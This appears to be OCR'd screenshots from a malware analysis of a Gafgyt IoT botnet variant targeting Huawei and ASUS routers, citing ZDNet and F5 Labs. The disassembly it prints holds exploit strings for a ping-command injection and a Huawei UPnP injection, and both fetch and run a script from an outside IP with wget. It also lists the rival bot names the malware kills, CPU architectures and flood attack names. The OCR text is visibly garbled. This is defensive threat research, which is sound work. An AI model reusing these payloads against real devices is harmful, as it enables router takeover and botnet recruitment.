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.rodata:8041D318 # DATA XREF: asus_init+FF8To

.rodata:0841D318 .ascii "ntent.asp&next_page=Hain_Analysis_Content.asp&next_host=group"
.rodata:8e041D318 .ascii ”_id=&modified=8&action_mode=+Refresh+&action_script=&action_uw"
.rodata:8641D318 .ascii "ait=&first_time=&applyFlag=1&preferred_lang=EN&firmver=1.1.2."
.rodata:6841D318 .ascii "'3_345-g987b586&cndiethod=ping&destIP=wget%23.254.165.208/barn"
.rodata:8041D318 .ascii "ey.sh%28;%20sh%20lessie.shir\n"

.rodata:08e841D318 .ascii "\rin'<e>

.rodata:8641D460 aPostCtrltDevic:.ascii "POST /ctrlt/DeviceUpgrade_1 HTTP/1.1\r\n"

.rodata:8041D460 # DATA XREF: huaweiscanner_scanner_init+FF8to
.rodata:0041D468 .ascii "Content-Length: 438\r\n"

.rodata:8041D460 .ascii "Connection: keep-alive\rin"

.rodata:08041D460 .ascii "Accept: =/*\r\n"

.rodata:08041D460 .ascii “Authorization: Digest username=\"dslf-config\", realm=\"Huawe"
.rodata:0041D468 .ascii "iHomeGateway\", nonce=\"88645cefb1f%edeBe336e3569d75ee30\"", u"
.rodata:e041D460 .ascii "ri=\"/ctrlt/DeviceUpgrade_1\", response=\"3612f843a42db38FuU8F"
.rodata:0041D468 .ascii "59d2a3597e19c\", algorithm=\"MD5\", qop=\""auth\", nc=00000001"
.rodata:B8041D4680 .ascii **, cnonce=\"248d1a25601080669\""\r\n"

-rodata:0041D468 .ascii "\rin"

.rodata:ee41D460 .ascii "<?xml version=\""1.0\" ?><s:Envelope xmlns:s=\"http://schemas.”
.rodata:80841D460 .ascii "xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas"
.rodata:@841D460 .ascii ".xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"ur"
.rodata:80841D460 .ascii "n:schemas-upnp-org:service :WANPPPConnection:1\"><{NewStatusURL"
.rodata: 80410460 .ascii ">$(/bin/busybox wget -g 23.254.165.208 -1 /tmp/Kh -r /Ouija M"
.rodata:0041D460 .ascii ".ips; /bin/busybox chmod 777 = /tmp/kh; /tmp/Kh huawei)</NeuwS"
.rodata:0041D460 .ascii “tatusURL><NeuwDownloadURL>${echo HUAWEIUPNP)</NewDownloadURL><"
.rodata:@e41D4680 .ascii "/u:Upgrade></s:Body></s:Envelope>\rin" )
.rodata:08041D460 .ascii “\rin'<e> @
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IDA View-A [x] | [s] stringswindow [ | O] Hex View-1 x| | Structures % | | =) Enums

® |.data:884623C6 bin_names: -word aDurhelper #f DATA XREF: botkiller+63CTo
.data:084623CH0 # botkiller+6EBTo ...
.data:084623CH # “dvrhelper”

® |.data:@04623CH .word aDvrsupport # "dvrsupport™

“ |.data:004623C8 -word aMirai # "mirai”

? .data:0084623CC .word aBlade # "blade"

® |.data:084623D0 .word aDemon # "demon"

® |.data:004623D4 -word aHoho # "hoho™

® |.data:004623D8 -word aHakai # "hakai"

¥ |.data:084623DC -word aSatori # "satori™

® |.data:004623E0 .word aMessiah # "messiah”

® |.data:004623EL -word aMips_@ # “mips*

® |.data:004623E8 -word aMipsel # "mipsel™

® |.data:B84623EC .word aShi # “shy™

® |.data:004623F@ .word aSuperh # “superh"

® |.data:804623F4 -word axgé # k86"

® |.data:004623F8 -word afrmu? # “armu?*

® |.data:@e8u623FC .word afArmub # "armué*’

® |.data: 068462400 -word al686 # "i686"

® |.data:00u62404 -word aPowerpc # “powerpc”

® |.data:80462408 -word aPpc # "ppc”

* |.data:0646240C .word aI586 # "i586"

® |.data:00462410 -word aM68k # "m68K"

® |.data:eou62414 .word aSparc # “sparc"

® |.data:08462418 -word afArmuy # "armuy*

® |.data:@pu6241cC -word aArmvs # "armus"

® |.data:80462420 .word ashBfp # “4upfp”

¥ |.data:peu62424 -word aMiori # "miori”

® |.data:@0u62428 .word aNigger # "nigger"

® |.data:0046242C -word aKowai # "kowai"

® |.data:00462430 .word aSoul # “soul”™

® |.data:80462434 .word aNoir # "noir"

¥ |.data: 00462438 -word aCayo # "cayo™

® |.data:0046243C -word aCayosin # “cayosin”

“ |.data: 08462440 .word aMessiahbins # "messiahbins"

¥ |.data: 00462444 -word aBins # "bins"

® |.data:0808462448 -word alrc # “irc"

® |.data:0846244C -word aPhantom # "phantom™

® |.data: 08462450 .word aHacker # "hacker"

® |.data:08462454 .word aQbot # “gbot™

® |.data: 88462458 .word aQbotnet # “gbotnet™

® |.data:@eu6245C -word aNtpd # "ntpd"

® |.data:80462460 -word aSshd # "sshd™

* |.data: 00462464 -word alpenssh # “openssh”

" |.data: 00462468 .word aBash # “bash™

¥ |.data: 00462460 -word aTftp # "tftp”

" |.data: 00462470 -word alget #t "uget”

® |.data:00u6247Y4 .word aCron # “cron"

® |.data:08462478 -word aFtp # “ftp"

® |.data:0646247C .word aPftp # "pftp"

® |.data: 008462480 .word asSh_@ # “sh"

® |.data: 08462484 -word aApache2 # “apache2"

" |.data:pB462488 -word aTelnetd # "telnetd"

® |.data:Be46248C .word aTelnet # “telnet”

® |.data: 00462490 -word aMirainet #t "mirainet”

® |.data:B0u6249y .word asSora # “sora™

® |.data: 00462498 .word aNazi # "nazi"

® |.data:9046249C ~word a?11 # "1

® |.data:@8u62400 .word aBotnet # “botnet”

¥ |.data:00462404 .word aMasuta # "masuta"

® |.data:004624A8 -word aSeptember # "september"

? -.data:084624AC .word aPenis # "penis" (j

“ |.data:084624B0 -word aJosho # "josho™ @

® |.data: 068462484 -word alasis # “oasis"
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Known loT botnet
malware families

Unknown and/or not widely
publicized malware

bins oasis chinese family
blade omni cracked
cayo osiris Count 16, dups
. ) 33%
cayosin owari hacker
corona gbot hax
demon gbotnet killer
dvrhelper  satori phantom
dvrsupport senpai shadoh
hakai shinoa vsparkzyy
hoho sora ni**er
josho yakuza 911
kowai pacman
masuta september
messiah slump
messiahbins Count 32 soul
miori 67% penis
mipsel
mirai
mirainet ©
nazi @
noir
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mips e
powerpc e
ppc e

sh4 e
sparc e
superh e
x86 e
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apache2 e
bash e
cron e

ftp e

irc e

ntpd e

openssh e

pftp e

sh e

sshd e

telnet o

telnetd o

tftp o

wget e

httpflood e

lolnogtfo e

stdflood e

tcpflood e

udpflood e
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https://www.zdnet.com/article/this-aggressive-iot-malware-is-forcing-wi-fi-
routers-to-join-its-botnet-army;/

https://www.f5.com/labs/articles/threat-intelligence/gafgyt-targeting-huawei-
and-asus-routers-and-killing-off-rival-iot-botnets?utm medium=owned-
social&utm source=twitter&utm campaigh=amer-f5labs&sf226899797=1
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